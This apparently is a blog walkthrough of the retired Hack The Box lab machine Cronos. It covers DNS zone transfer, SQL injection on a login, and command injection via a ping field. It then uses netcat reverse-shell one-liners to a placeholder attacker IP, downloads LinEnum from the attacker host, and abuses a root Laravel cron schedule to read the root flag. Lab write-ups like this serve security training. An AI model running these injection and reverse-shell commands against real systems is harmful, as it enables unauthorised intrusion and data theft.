This walkthrough is for the HacktheBox retired machine named Cronos.
We pick Cronos from the list:
Foothold
We can start with our usual nmap
:
nmap -sS -A -T4 -p- 10.10.10.13
Output:
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-27 18:03 EDT
Nmap scan report for 10.10.10.13
Host is up (0.14s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.2 - 4.9 (92%), Linux 4.2 (92%), Linux 4.4 (92%), Linux 4.8 (92%), Linux 4.9 (91%), Linux 3.12 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
1 176.61 ms 10.10.14.1
2 177.20 ms 10.10.10.13
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 320.46 seconds
While that’s loading we can see if they have a default website on default port 80
:
And they do; the default Apache splash page.
Let’s do a directory scan:
dirb http://10.10.10.13 -i
While that’s running we check out the nmap
scan. It looks like DNS is open. Now if I recall, doing a zone transfer operates on TCP so if we picked it up it could be open for that.
From the naming convention we assume the main domain is cronos.htb
.
Let’s use dig to enumerate some domains. We do an AXFR
DNS Zone Transfer request as the type, then the server, then the A
host name.
dig axfr @10.10.10.13 cronos.htb
Output:
; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> axfr @10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 449 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Fri Sep 27 20:16:46 EDT 2019
;; XFR size: 7 records (messages 1, bytes 203)
We will update our hosts file from this list:
vi /etc/hosts
Then add the hosts and save with :wq
:
Let’s try going to http://cronos.htb
.
The site just has external links and when we Inspect Element, there doesn’t seem to be a lot there.
Let’s try http://admin.cronos.htb
.
We start Burp Suite and get a POST
header for the login.
We copy the text and paste it into a new file:
vi cronos-login.req
Paste the text and save the file with :wq
.
Then run sqlmap
:
sqlmap -r cronos-login.req
While it runs we do a simple test:
Nothing.
I tried a few different ones and eventually we get lucky.
We try a comment:
Looks like that worked.
And it looks like it takes in commands and outputs results:
Let’s try a simple one like 8.8.8.8;uname -a
:
Let’s for the sake of it check the user list 8.8.8.8;cat /etc/passwd
:
We have a user: noulis
.
Let’s check 8.8.8.8;ls -lh /home
:
User
Alright, let’s go right for the user file 8.8.8.8; cat /home/noulis/user.txt
:
We get user.txt
.
Let’s see who is running the webserver 8.8.8.8; id
:
At this point, I am thinking it may be time to attempt a reverse shell. We start by setting up a listener on our local Kali machine:
Okay so please don’t do the next step – I am just showing what I attempted but it didn’t seem to work and crashed the admin page. It did not like it 🙁 .
8.8.8.8; echo "/bin/sh -i 2>&1 | nc 10.10.XXX.XXX 4444" > /tmp/n; chmod +x /tmp/n
This page here helped find an alternative. 🔗 http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
I ended up switching to this, which seems to make use of mkfifo
: 🔗 https://linux.die.net/man/3/mkfifo
8.8.8.8;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XXX.XXX 4444 >/tmp/f
Then we run the file:
8.8.8.8; /tmp/f
And get connected.
Privilege Escalation
Once connected, on our local Kali machine, start our simple http server:
python -m SimpleHTTPServer 9999
This is so we can move files over. We can use rebootuser
‘s LinEnum.sh
:
wget -O enum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Then on the remote shell, we move over to the /tmp
directory and grab the file.
cd /tmp/ && wget http://10.10.XXX.XXX:9999/enum.sh
Change permissions and run:
chmod +x enum.sh ./enum.sh
Let the script run and see if we get any interesting results.
After it runs, we see a non-default cron job:
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
We check it out:
cat /var/www/laravel/artisan
It looks like it loads app from /bootstrap/app.php
and inside that file we see the path for the $kernel
load:
$app->singleton(
Illuminate\Contracts\Console\Kernel::class,
App\Console\Kernel::class
);
So we check out that file:
cat ../app/Console/Kernel.php
From the output we are going to look for a function called schedule()
:
/**
* Define the application's command schedule.
*
* @param \Illuminate\Console\Scheduling\Schedule $schedule
* @return void
*/
protected function schedule(Schedule $schedule)
{
// $schedule->command('inspire')
// ->hourly();
}
Now in this case, if we wanted to get full root access we would launch another shell. But since we are ultimately doing so to get the root file, we can attempt to copy it into a file in /tmp
and change the user permissions to www-data
.
$schedule->exec('cat /root/root.txt > /tmp/root.txt; chown www-data: /tmp/root.txt')->everyMinute();
After one minute, we can get the file:
cat /tmp/root.txt
Success 😎 .